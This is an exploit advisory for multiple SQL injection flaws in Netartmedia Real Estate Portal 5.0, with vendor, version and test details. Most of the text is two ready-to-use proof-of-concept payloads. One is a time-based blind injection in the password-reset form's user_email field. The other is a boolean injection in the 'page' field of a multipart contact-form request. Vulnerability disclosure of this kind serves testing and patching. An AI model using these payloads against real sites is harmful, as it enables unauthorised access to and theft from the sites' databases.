Exploit Title: Netartmedia Real Estate Portal 5.0 - Multiple SQL Injection
Date: 19.03.2019
Exploit Author: Ahmet Ümit BAYRAM
Vendor Homepage: https://www.netartmedia.net/realestate/
Demo Site: https://www.phpscriptdemos.com/realestate/
Version: 5.0
Tested on: Kali Linux
CVE: N/A
Description: The real estate portal software is made to be multi-language, the main site can show multiple languages and let the site
visitors choose their preferred language.
—– PoC 1: SQLi —–
Request: http://localhost/[PATH]/index.php Parameter: user_email (POST) Payload: ProceedSend=1&mod=forgotten_password&user_email=0’XOR(if(now()=sysdate(),sleep(0),0))XOR’Z’ OR SLEEP(5)#
—– PoC 2: SQLi —–
Request: http://localhost/[PATH]/index.php Parameter: MULTIPART page ((custom) POST Payload: ——WebKitFormBoundaryYUBPFrrBhV4S4pf0 Content-Disposition: form-data; name=”SubmitContact”
1 ——WebKitFormBoundaryYUBPFrrBhV4S4pf0 Content-Disposition: form-data; name=”code”
94102 ——WebKitFormBoundaryYUBPFrrBhV4S4pf0 Content-Disposition: form-data; name=”email”
[email protected] ——WebKitFormBoundaryYUBPFrrBhV4S4pf0 Content-Disposition: form-data; name=”message”
20 ——WebKitFormBoundaryYUBPFrrBhV4S4pf0 Content-Disposition: form-data; name=”name”
${alpharand} ——WebKitFormBoundaryYUBPFrrBhV4S4pf0 Content-Disposition: form-data; name=”page”
en_Contact-2228’ OR 3801=3801– eISZ ——WebKitFormBoundaryYUBPFrrBhV4S4pf0 Content-Disposition: form-data; name=”phone”
555-666-0606 ——WebKitFormBoundaryYUBPFrrBhV4S4pf0 Content-Disposition: form-data; name=”subject”
1 ——WebKitFormBoundaryYUBPFrrBhV4S4pf0–